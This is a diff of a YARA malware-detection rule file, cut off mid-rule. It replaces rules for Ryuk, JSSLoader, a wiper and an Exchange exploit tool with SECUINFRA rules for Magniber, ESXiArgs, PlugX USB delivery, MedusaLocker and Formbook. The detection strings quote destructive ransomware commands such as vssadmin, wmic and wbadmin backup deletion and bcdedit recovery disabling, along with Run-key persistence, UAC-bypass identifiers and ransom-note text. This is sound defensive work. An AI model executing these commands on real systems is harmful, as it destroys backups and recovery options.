-		$OP_Files1 = { 51 68 [3] 00 b9 [3] 00 e8 [2] 00 00 80 3d [3] 00 00 75 04 33 c9 eb 11 b9 [3] 00 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 51 68 [3] 00 b9 [3] 00 e8 [2] 00 00 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 }
-		$OP_Files2 = { 00 00 83 c4 04 83 78 18 10 72 05 8b 40 04 eb 03 83 c0 04 [3-9] 00 50 68 [3] 00 6a 00 6a 00 ff [1-5] 8b 95 c8 fe ff ff 83 fa 10 72 0c 8b 8d b4 fe ff ff }
-		$s1 = "D$t9D$ }J" fullword ascii
-		$s2 = "u#h`KN" fullword ascii
-		$s3 = { 6f 73 5f 77 69 6e 2e 63 3a 25 64 3a 20 28 25 6c 75 29 20 25 73 28 25 73 29 20 2d 20 25 73 }
-		$s4 = { 61 63 63 65 73 73 20 74 6f 20 25 73 2e 25 73 2e 25 73 20 69 73 20 70 72 6f 68 69 62 69 74 65 64 }
-		$s5 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 }
-		$s6 = { 23 46 69 6c 65 20 45 72 72 6f 72 23 28 25 64 29 20 3a }
+		$netbiosName = "victim1" ascii fullword
+		$macAddress = {00 0C 29 07 E1 6D}
 
 	condition:
-		uint16(0)==0x5a4d and filesize >600KB and 3 of ($s*) and $seq_db and $seq_createdb and all of ($OP_Files*)
+		uint32be(0x0)==0x4C000000 and all of them
 }
-rule ARKBIRD_SOLG_WIP_Unk_Wiper_July_2021_1 : FILE
+rule SECUINFRA_RANSOM_Magniber_ISO_Jan23 : FILE
 {
 	meta:
-		description = "Detect unknown wiper that focuses olympic games in Japan"
-		author = "Arkbird_SOLG"
-		id = "a03d558e-399a-506e-8f37-d4907cc68d54"
-		date = "2021-07-22"
-		modified = "2021-07-22"
-		reference = "https://www.mbsd.jp/research/20210721/blog/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-22/WIP_Unk_Wiper_July_2021_1.yara#L1-L29"
+		description = "Detects Magniber Ransomware ISO files from fake Windows Update delivery method"
+		author = "SECUINFRA Falcon Team"
+		id = "6d5a937d-ac31-5c59-8e93-3fadc772d132"
+		date = "2023-01-13"
+		modified = "2023-01-13"
+		reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_ISO_Jan23.yar#L1-L24"
 		license_url = "N/A"
-		logic_hash = "32f66fee2547ef33121620b822f86bfdf66ff337909a56aa4f0e8ef83b6d7730"
+		hash = "4dcbcc070e7e3d0696c777b63e185406e3042de835b734fe7bb33cc12e539bf6"
+		logic_hash = "238baa794f4a87102534f7d6901819aa1b5dbb8156d56fb311e9fb1a6bc77f30"
 		score = 75
-		quality = 40
+		quality = 68
 		tags = "FILE"
-		hash1 = "295d0aa4bf13befebafd7f5717e7e4b3b41a2de5ef5123ee699d38745f39ca4f"
-		hash2 = "511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390"
-		tlp = "green"
-		adversary = "Olympic Destroyer ?"
+		tlp = "CLEAR"
 
 	strings:
-		$s1 = "\\\\.\\Global\\ProcmonDebugLogger" fullword ascii
-		$s2 = { 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 00 00 00 00 4f 6c 6c 79 44 62 67 }
-		$s3 = { 8d 44 24 10 50 ff 15 08 30 40 00 50 ff 15 2c 30 40 00 83 7c 24 10 00 0f 85 76 02 00 00 33 c9 0f 1f }
-		$s4 = { 50 68 00 12 40 00 ff 15 60 30 40 00 85 c0 0f 85 ef 02 00 00 50 68 80 00 00 00 6a 03 50 6a 07 68 00 00 00 80 68 0c 32 40 00 ff 15 18 30 40 00 83 }
-		$s5 = { 8b 3d d0 30 40 00 88 84 0c e8 00 00 00 8d 84 24 e8 00 00 00 50 ff d7 83 c4 04 b0 9a 33 c9 0f 1f 00 f6 d0 88 84 0c b4 00 00 00 41 8a 81 30 32 40 }
-		$s6 = { 8b ec 83 ec 14 83 65 f4 00 8d 45 f4 83 65 f8 00 50 ff 15 34 30 40 00 8b 45 f8 33 45 f4 89 45 fc ff 15 38 30 40 00 31 45 fc ff 15 3c 30 40 00 31 45 fc 8d 45 ec 50 ff 15 40 30 40 00 8b 45 f0 8d 4d fc 33 45 ec 33 45 fc 33 }
-		$p1 = { 5c 2e 5c 47 6c 6f 62 61 6c 5c 35 84 44 65 62 75 67 4c 6f 67 67 3f }
-		$p2 = "UPX" fullword ascii
-		$p3 = { 45 6e 75 6d 57 69 6e 64 6f 77 73 }
-		$p4 = { 73 65 74 5f 6e 65 77 5f 6d 6f 64 65 00 00 00 5f 63 6f 6e 66 69 67 74 68 72 65 61 64 6c 6f 63 61 6c 65 }
-		$p5 = { 4e 75 74 6f 72 75 6e 2f 43 4e 65 74 }
-		$p6 = { 44 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 }
-		$p7 = { 53 6d 61 72 74 53 6e 69 66 66 67 }
-		$p8 = { 26 30 30 63 66 67 }
-		$p9 = { 72 6f 63 65 94 48 61 63 6b }
+		$magic = {43 44 30 30 31}
+		$tool = {55 4C 54 52 41 49 53 4F 00 39 2E 37 2E 36 2E 33 38 32 39}
+		$msiMagic = {D0 CF 11 E0 A1 B1 1A E1}
+		$dosString = "!This program cannot be run in DOS mode" ascii
+		$lnkMagic = {4C 00 00 00}
 
 	condition:
-		uint16(0)==0x5a4d and filesize >200KB and (5 of ($s*) or 7 of ($p*))
+		filesize >200KB and filesize <800KB and all of them
 }
-rule ARKBIRD_SOLG_MAL_Jssloader_Jun_2021_1 : FILE
+rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Encryptor_Feb23
 {
 	meta:
-		description = "Detect JSSLoader malware"
-		author = "Arkbird_SOLG"
-		id = "192b1386-f0bc-54e8-9341-84f77f4f07c5"
-		date = "2021-06-04"
-		modified = "2021-06-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-04/FIN7/MAL_JSSLoader_Jun_2021_1.yara#L1-L20"
+		description = "Detects the ESXiArgs Ransomware 'encrypt' binary"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "e91398bd-c8b5-5702-974e-017d2c0f6054"
+		date = "2023-02-07"
+		modified = "2023-02-07"
+		reference = "https://secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_ESXiArgs_Ransomware_Encrypt_Feb23.yar#L1-L32"
 		license_url = "N/A"
-		logic_hash = "73942afed6b3471be07be1fba3e7f90ec7f2377a1167aeef70627cd07faa3681"
+		logic_hash = "f0c9858275f547d4cf7d907377f079b817bf69cae9940b134e523bd7794d6f3b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "59c6acc8f6771ea6eeb8d8f03832642d87f9aa7eb0c3205398d31ad08e019a9c"
-		hash2 = "2609c6ec5d4fdde28d29c272484da66e0995e529cf302ed46f94c68cd99352e3"
-		hash3 = "ea167f5460c5f920699e276fb0c51f32c862256415c57edb4bda5760a70b9e4d"
-		hash4 = "822457c427a0776b41dd8f3479070e56fdd53ccd0175418d4e7d85065ec7d7d1"
-		tlp = "White"
-		adversary = "FIN7"
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$s1 = { 8b 45 c8 83 78 0c 00 0f 84 ce 00 00 00 8b 45 c8 8b 4d 08 03 48 0c 8b f4 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 bc 83 7d bc 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d 08 03 48 10 89 4d f8 8b 45 c8 8b 4d 08 03 08 89 4d ec 8b 45 ec 3b 45 08 75 06 8b 45 f8 89 45 ec 8b 45 ec 83 38 00 74 6c 8b 45 ec 8b 08 81 e1 00 00 00 }
-		$s2 = { 8b f4 6a 04 68 00 10 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 f8 83 7d f8 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 8b 45 c8 8b 08 51 8b 55 f8 52 e8 [2] 00 00 83 c4 0c 8b f4 8b 45 f8 50 8b fc ff 15 [3] 00 3b fc e8 [2] 00 00 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b f4 6a 04 68 00 10 00 00 68 00 11 00 00 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 ec 83 7d ec 00 75 02 eb 3e 8b 45 c8 8b 48 08 8b 11 89 55 e0 83 7d e0 ff 75 0c c7 85 00 ff ff ff 00 00 00 00 eb 09 8b 45 e0 89 85 00 ff ff ff 8b 8d 00 ff ff ff 8b 55 ec 8b 45 f8 89 04 8a 8b 45 ec 64 a3 2c 00 00 00 5f 5e 5b 81 c4 00 01 00 00 3b ec e8 [2] 00 00 8b e5 5d }
-		$s3 = { c7 45 f0 61 00 00 00 c7 45 c8 20 00 00 00 c7 45 cc 88 00 00 00 c7 45 dc 01 00 00 00 8d 45 f0 89 45 d0 33 c0 66 89 45 d4 c7 45 d8 00 00 00 00 c7 45 e0 00 00 00 00 8b 45 08 89 45 e4 8b f4 8d 45 c8 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 b0 83 7d b0 ff 74 17 8b f4 8d 45 bc 50 8b 4d b0 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 52 8b cd 50 8d 15 2c 13 40 00 e8 [2] 00 00 58 5a 5f 5e 5b 8b 4d fc 33 cd e8 [2] 00 00 81 c4 2c 01 00 00 3b ec e8 [2] 00 00 8b e5 }
-		$s4 = { 8b 45 ec 8b 08 81 e1 ff ff 00 00 8b f4 51 8b 55 bc 52 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 4d f8 89 01 eb 25 8b 45 ec 8b 08 8b 55 08 8d 44 0a 02 8b f4 50 8b 4d bc 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 55 f8 89 02 8b 45 f8 83 c0 04 89 45 f8 8b 45 ec 83 c0 04 89 45 ec eb 8c 8b 45 c8 83 c0 14 89 45 c8 e9 25 ff ff ff 5f 5e 5b 81 c4 08 01 00 00 3b ec e8 [2] 00 00 8b e5 }
+		$sosemanuk_prng = {48 8b 45 f8 48 01 45 e0 48 8b 45 f8 48 29 45 d8 48 8b 45 e8 8b 90 80 00 00 00 48 8b 45 f8 01 c2 48 8b 45 e8 89 90 80 00 00 00}
+		$sosemanuk_mul_a = {00 00 00 00 13 CF 9F E1 26 37 97 6B 35 F8 08 8A [992] DE 4D 5B B5 CD 82 C4 54 F8 7A CC DE EB B5 53 3F}
+		$sosemanuk_mul_ia = {00 00 00 00 CD 40 0F 18 33 80 1E 30 FE C0 11 28 [992] 1C 65 E2 9E D1 25 ED 86 2F E5 FC AE E2 A5 F3 B6}
+		$interpreter = "/lib64/ld-linux-x86-64.so.2"
+		$debug0 = "encrypt_bytes: too big data"
+		$debug1 = "Progress: %f"
+		$help = "usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and filesize <900KB and all of ($s*)
+		uint32be(0x0)==0x7F454C46 and all of ($sosemanuk_*) and $interpreter and 2 of ($debug*) and $help
 }
-rule ARKBIRD_SOLG_Mem_Cryptor_Obsidium_Oct_2020_1 : FILE
+rule SECUINFRA_MALWARE_Plugx_USB_Delivery_LNK_Jun23
 {
 	meta:
-		description = "Detect Obsidium cryptor by memory string"
-		author = "Arkbird_SOLG"
-		id = "039c45f0-cc43-50ee-ae4e-a7e0e220dc04"
-		date = "2020-10-25"
-		modified = "2020-10-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Mem_Cryptor_Obsidium_Oct_2020_1.yar#L1-L15"
+		description = "Detects PlugX-style Malware delivery via removable Drives (USB) - LNK File"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "14c2e37e-91d7-5b66-916f-a1544a69a6fc"
+		date = "2023-06-21"
+		modified = "2023-06-21"
+		reference = "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_PlugX_USB_Delivery_Jun21.yar#L1-L31"
 		license_url = "N/A"
-		logic_hash = "5f471064505d7ab634b6d52f66fa0a96682af2eb1dd41afe4449543253c6bbf7"
+		logic_hash = "afbbaf44e97b6db584780e0739bffd9c70e05e86284cb25b25a9d02cbeffff1f"
 		score = 75
-		quality = 50
-		tags = "FILE"
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$s1 = "Obsidium\\" fullword ascii
-		$s2 = "obsidium.dll" fullword ascii
-		$s3 = "Software\\Obsidium" fullword ascii
-		$s4 = "winmm.dll" fullword ascii
-		$s5 = "'license.key" fullword ascii
+		$lnk_magic = {4C 00 00 00 01 14 02 00}
+		$driveletter_4X = {4? 00 3A 00 5C 00 A0 00 5C}
+		$driveletter_5X = {5? 00 3A 00 5C 00 A0 00 5C}
+		$s_cmd = "C:\\Windows\\System32\\cmd.exe" ascii
+		$s_recBin = "\\RECYCLER.BIN\\" wide
+		$s_shell32 = "%SystemRoot%\\system32\\SHELL32.dll" wide
+		$s_comspec = "%ComSpec%" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 3 of ($s*)
+		$lnk_magic at 0x0 and any of ($s_*) and ($driveletter_4X or $driveletter_5X)
 }
-rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_1 : FILE
+rule SECUINFRA_MALWARE_Plugx_USB_Delivery_Ini_Icon_Jun23
 {
 	meta:
-		description = "Detect RYUK ransomware (Sept_2020_V1)"
-		author = "Arkbird_SOLG"
-		id = "7ade43ef-cd31-5308-b5ab-71f04d27018b"
-		date = "2020-10-25"
-		modified = "2020-10-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_1.yar#L1-L29"
+		description = "Detects PlugX-style Malware delivery via removable Drives (USB) - Desktop.ini Icon File; could potentially yield FPs"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "faaa507f-8478-5412-be86-4cae7fe28d21"
+		date = "2023-06-21"
+		modified = "2023-06-21"
+		reference = "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_PlugX_USB_Delivery_Jun21.yar#L33-L49"
 		license_url = "N/A"
-		logic_hash = "b70eb2e5f58076ea8d4d1370649358acf68f3119cb2be6d5ef0a302bb3bf5d1e"
+		logic_hash = "1cf552c4627073d13832cf0ac602a610e0919af9e9a197aa07fef5d6a414644b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b"
-		hash2 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8"
-		hash3 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399"
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$c1 = "\" /TR \"C:\\Windows\\System32\\cmd.exe /c for /l %x in (1,1,50) do start wordpad.exe /p " fullword ascii
-		$c2 = "cmd.exe /c \"bootstatuspolicy ignoreallfailures\"" fullword ascii
-		$c3 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
-		$c4 = "cmd.exe /c \"WMIC.exe shadowcopy delete\"" fullword ascii
-		$c5 = "cmd.exe /c \"vssadmin.exe Delete Shadows /all /quiet\"" fullword ascii
-		$c6 = "cmd.exe /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"" fullword ascii
-		$r1 = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"" fullword wide
-		$r2 = "/C REG DELETE \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /f" fullword wide
-		$ref1 = "lsaas.exe" fullword wide
-		$ref2 = "Ncsrss.exe" fullword wide
-		$ref3 = "$WGetCurrentProcess" fullword ascii
-		$ref4 = "lan.exe" fullword wide
-		$ref5 = "explorer.exe" fullword wide
-		$ref6 = "Ws2_32.dll" fullword ascii
-		$p1 = "\\users\\Public\\sys" fullword wide
-		$p2 = "\\Documents and Settings\\Default User\\sys" fullword wide
+		$s_shellclassinfo = "[.ShellClassInfo]" ascii
+		$s_IconRes = "IconResource=C:\\Windows\\system32\\SHELL32.dll,7" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 4 of ($c*) and 1 of ($r*) and 4 of ($ref*) and 1 of ($p*)
+		all of ($s_*)
 }
-rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_2 : FILE
+rule SECUINFRA_MALWARE_Plugx_USB_Delivery_Ini_Recbin_Jun23
 {
 	meta:
-		description = "Detect RYUK ransomware (Sept_2020_V1 + V2)"
-		author = "Arkbird_SOLG"
-		id = "82ed6736-00e6-5a30-89cf-a2b86f2e1ba6"
-		date = "2020-10-25"
-		modified = "2020-10-28"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_2.yar#L1-L29"
+		description = "Detects PlugX-style Malware delivery via removable Drives (USB) - Desktop.ini Recycle Bin; could potentially yield FPs"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "026eba63-12c1-55aa-b736-aea0494c1ab9"
+		date = "2023-06-21"
+		modified = "2023-06-21"
+		reference = "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_PlugX_USB_Delivery_Jun21.yar#L51-L70"
 		license_url = "N/A"
-		logic_hash = "a06d61b9363b732d17a2766b280951198a6adc226e284ab1d909cd98516cfb6f"
+		logic_hash = "af5a1f20e46d9db3a9b50b5d8845e60f058c2885a560756266afbd8f3a01bf1e"
 		score = 75
-		quality = 46
-		tags = "FILE"
-		hash1 = "d0d7a8f588693b7cc967fb4069419125625eb7454ba553c0416f35fc95307cbe"
-		hash2 = "d7333223dcc1002aae04e25e31d8c297efa791a2c1e609d67ac6d9af338efbe8"
-		hash3 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b"
-		hash4 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8"
-		hash5 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399"
-		hash6 = "5b1f242aee0eabd4dffea0fe5f08aba60abf7c8d1e4f7fc7357af7f20ccd0204"
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$s1 = "Type Descriptor'" fullword ascii
-		$s2 = "Class Hierarchy Descriptor'" fullword ascii
-		$s3 = "GET:PV" fullword ascii
-		$s4 = "Base Class Descriptor at (" fullword ascii
-		$s5 = "Complete Object Locator'" fullword ascii
-		$s6 = "UINi\\cYIqwxAcV^GYCY^EgzUvSZcsRW" fullword ascii
-		$s7 = "FrystFsgcteIaui" fullword ascii
-		$s8 = "delete[]" fullword ascii
-		$s9 = "Picuovphv Bbsg!Es|rwojrarkkd Stryjfes x4.3" fullword ascii
-		$s10 = "FrystGfuvrozHctj" fullword ascii
-		$s11 = "FrystUfngasfCqovf{v" fullword ascii
-		$op1 = { 63 62 6d 75 6a 7a 6e 49 4d 54 50 78 75 70 78 59 6f 65 71 4f 57 48 4a 78 57 71 4c 50 55 78 4a 6e 68 4b 71 57 57 6d 49 75 6a 51 64 4f 50 74 70 63 76 61 42 72 75 5a 6a 4d 69 79 59 52 69 58 78 4a 63 6b 51 70 4b 75 47 52 5a 51 42 5a 5a 61 50 69 76 66 77 43 6c 45 5a 67 76 6e 49 6c 54 74 4b 46 4d 68 53 4a 42 4f 64 6a 69 46 44 4d 62 70 78 76 52 5a 69 61 74 69 71 5a 6e 75 67 5a 62 78 72 51 }
-		$op2 = { 23 71 59 72 51 6d 58 48 4a 77 65 55 53 76 68 79 4f 62 51 50 6d 44 44 52 44 6e 72 49 53 57 6c 72 56 4a 56 75 68 52 4e 4a 66 6b 50 6e 6b 72 65 68 73 6e 6b 68 54 4e 70 6a 56 7a 7a 64 61 44 6e 62 44 67 5a 54 62 4b 65 63 54 69 35 4f 71 20 64 24 2d }
+		$s_shellclassinfo = "[.ShellClassInfo]" ascii
+		$s_IconRes = "CLSID = {645FF040-5081-101B-9F08-00AA002F954E}" ascii
+		$neg_LRN = "shell32.dll,-8964" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 6 of ($s*) and 1 of ($op*)
+		all of ($s_*) and not $neg_LRN
 }
-rule ARKBIRD_SOLG_EXP_CVE_2021_42321_Nov_2021_1 : CVE_2021_42321 FILE
+import "pe"
+
+rule SECUINFRA_RANSOM_Medusalocker_July22 : RANSOMWARE FILE
 {
 	meta:
-		description = "Detect CVE-2021-42321 exploit tool"
-		author = "Arkbird_SOLG"
-		id = "2efd58a1-e5c3-5596-b5fd-f6e2fe0ab620"
-		date = "2021-11-21"
-		modified = "2021-11-21"
-		reference = "https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-21/EXP_CVE_2021_42321_Nov_2021_1.yara#L1-L19"
+		description = "Detects MedusaLocker Ransomware"
+		author = "SECUINFRA Falcon Team"
+		id = "ca8c4ab6-cb7d-5b1d-a3c3-6921133c646c"
+		date = "2022-07-08"
+		modified = "2022-07-08"
+		reference = "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_MedusaLocker_July22.yar#L3-L68"
 		license_url = "N/A"
-		logic_hash = "bf45f240875f3c3ab729fe623b6c97d0540c0d7d3e9b2e4beb88af6922f8a643"
-		score = 50
-		quality = 67
-		tags = "CVE-2021-42321, FILE"
-		hash1 = "537744916ce2e78748d301901c679307e8159101f3b194add89f6e1dfbf62c32"
-		tlp = "white"
-		level = "Experimental"
-		adversary = "-"
+		logic_hash = "f585e29cf8d381813e489296b88fbd8ebd0e48b48395237b264596f54e0db472"
+		score = 75
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		tlp = "WHITE"
+		hash0 = "80ca82e3e62514c66250ff91cc28a945758d435665cd36a347bf9fea9278aa48"
+		hash1 = "09ac3b065defa5e69db8573ec2d201e3199ad7508ed775174fe76c18f8b9710b"
+		hash2 = "bee9de4694ab25b125b95579235d9f8a5ec48658dfd5b7feb78915ee2aacc6ca"
+		hash3 = "1ff4ab45cc7b71d22d2433214eed2b7b2344bb1921c97a44c44fe5f3a78f8135"
+		hash4 = "af768da08a34ddf503522186a22e65e623491e48754356210cc6798598f85266"
 
 	strings:
-		$s1 = { 41 41 45 41 41 41 44 2f 2f 2f 2f 2f 41 51 41 41 41 41 41 41 41 41 41 4d 41 67 41 41 41 46 35 4e 61 57 4e 79 62 }
-		$s2 = "/ews/exchange.asmx" ascii
-		$s3 = { 48 74 74 70 4e 74 6c 6d 41 75 74 68 28 27 25 73 27 20 25 20 28 55 53 45 52 29 }
-		$s4 = { 22 55 73 65 72 2d 41 67 65 6e 74 22 3a 20 22 45 78 63 68 61 6e 67 65 53 65 72 76 69 63 65 73 43 6c 69 65 6e 74 }
-		$s5 = { 6d 56 6a 64 45 52 68 64 47 46 51 63 6d 39 32 61 57 52 6c 63 6a 34 4e 43 69 41 67 49 43 41 38 54 32 4a 71 5a 57 4e 30 52 47 46 30 59 56 42 79 62 33 5a 70 5a 47 56 79 49 48 67 36 53 32 56 35 50 53 4a 7a 5a 58 52 4e 5a 58 52 6f 62 32 51 69 49 45 39 69 61 6d 56 6a 64 45 6c 75 63 33 52 68 62 6d 4e 6c 50 53 4a 37 65 44 70 54 64 47 46 30 61 57 4d 67 59 7a 70 44 62 32 35 6d 61 57 64 31 63 6d 46 30 61 57 }
+		$log0 = "[LOCKER] Init cryptor is failed" wide
+		$log1 = "[LOCKER] Kill processes" wide
+		$log2 = "[LOCKER] Scan" wide
+		$log3 = "[LOCKER] Already Scan" wide
+		$log4 = "[LOCKER] Is running" wide
+		$log5 = "[LOCKER] Is already running" wide
+		$log6 = "[LOCKER] Priv: ADMIN" wide
+		$log7 = "[LOCKER] Priv: USER" wide
+		$log8 = "[LOCKER] Init cryptor" wide
+		$log9 = "[LOCKER] Put ID to HTML-code" wide
+		$log10 = "[LOCKER] Init cryptor is failed" wide
+		$log11 = "[LOCKER] Add to autorun" wide
+		$log12 = "[LOCKER] Put ID to HTML-code is failed!" wide
+		$log13 = "[LOCKER] Scan hidden devices" wide
+		$log14 = "[LOCKER] Stop and delete services" wide
+		$log15 = "[LOCKER] Kill processes" wide
+		$log16 = "[LOCKER] Remove backups" wide
+		$log17 = "[LOCKER] Lock drive " wide
+		$log18 = "[LOCKER] Run scanning..." wide
+		$log19 = "[LOCKER] Sleep at 60 seconds..." wide
+		$mutex = "{8761ABBD-7F85-42EE-B272-A76179687C63}" wide
+		$uacbypass0 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" wide
+		$uacbypass1 = "{6EDD6D74-C007-4E75-B76A-E5740995E24C}" wide
+		$note0 = "HOW_TO_RECOVER_DATA.html" ascii
+		$note1 = "We gathered highly confidential/personal data. These data are currently stored on" ascii
+		$note2 = "<b>/!\\ YOUR COMPANY NETWORK HAS BEEN PENETRATED /!\\" ascii
+		$note3 = "<!-- !!! dont changing this !!! -->" fullword ascii
+		$ext = ".dll,.sys,.ini,.rdp,.encrypted,.exe" ascii
+		$services = "Intuit.QuickBooks.FCS,QBCFMonitorService,sqlwriter,msmdsrv,tomcat6,zhudongfangyu" ascii
+		$system0 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" wide
+		$system1 = "vssadmin.exe Delete Shadows /All /Quiet" wide
+		$system2 = "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures" wide
+		$system4 = "bcdedit.exe /set {default} recoveryenabled No" wide
+		$system5 = "wmic.exe SHADOWCOPY /nointeractive" wide
 
 	condition:
-		filesize >3KB and 4 of them
+		uint16(0)==0x5a4d and pe.imphash()=="1a395bd10b20c116b11c2db5ee44c225" and filesize >450KB and filesize <1MB and all of ($log*) and $mutex and any of ($uacbypass*) and 2 of ($note*) and $ext and $services and 2 of ($system*)
 }
-rule ARKBIRD_SOLG_MAL_ELF_Rotajakiro_May_2021_1 : FILE
+rule SECUINFRA_MALWARE_Formbook_Filename_Stage_2 : FILE
 {
 	meta:
-		description = "Detect the ELF version of RotaJakiro"
-		author = "Arkbird_SOLG"
-		id = "a67f9b64-8778-542f-8481-566a4ffaf5e8"
-		date = "2020-05-07"
-		modified = "2021-05-08"
-		reference = "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-08/RotaJakiro/MAL_ELF_RotaJakiro_May_2021_1.yara#L1-L21"
+		description = "No description has been set in the source file - SecuInfra"
+		author = "SECUINFRA Falcon Team"
+		id = "74ae157c-30b3-5f07-83a3-6bc9e854fa84"
+		date = "2022-02-19"
+		modified = "2022-02-27"
+		reference = "https://bazaar.abuse.ch/sample/295a708fd87173762a4971443304e23990462f94e8db48d83472f19425daaa87"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/formbook.yar#L2-L14"
 		license_url = "N/A"
-		logic_hash = "8e4b9ef8a908a13e738da31b28c879228c3bdc1d8461417b1c1bf31026c98abf"
+		logic_hash = "707fa457a99b47419b0b77716ed1f61cdb493f04cc26a156f903a30ef30ac428"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "0958e1f4c3d14e4de380bda4c5648ab4fa4459ef8f5daaf32bb5f3420217af32"
-		hash2 = "5d753e72ef89f1cef3b7007df812c7a504727816a7b91ecd75cc9acdfb7e9c2e"
-		hash3 = "a18bec90b2b6185362eeb67c516c82dd34cd8f6a7423875921572e97ae1668b0"
-		hash4 = "af2a2be20d7bbec0a9bb4a4dfa898aa18ef4994a9791d7cf37b7b62b379992ac"
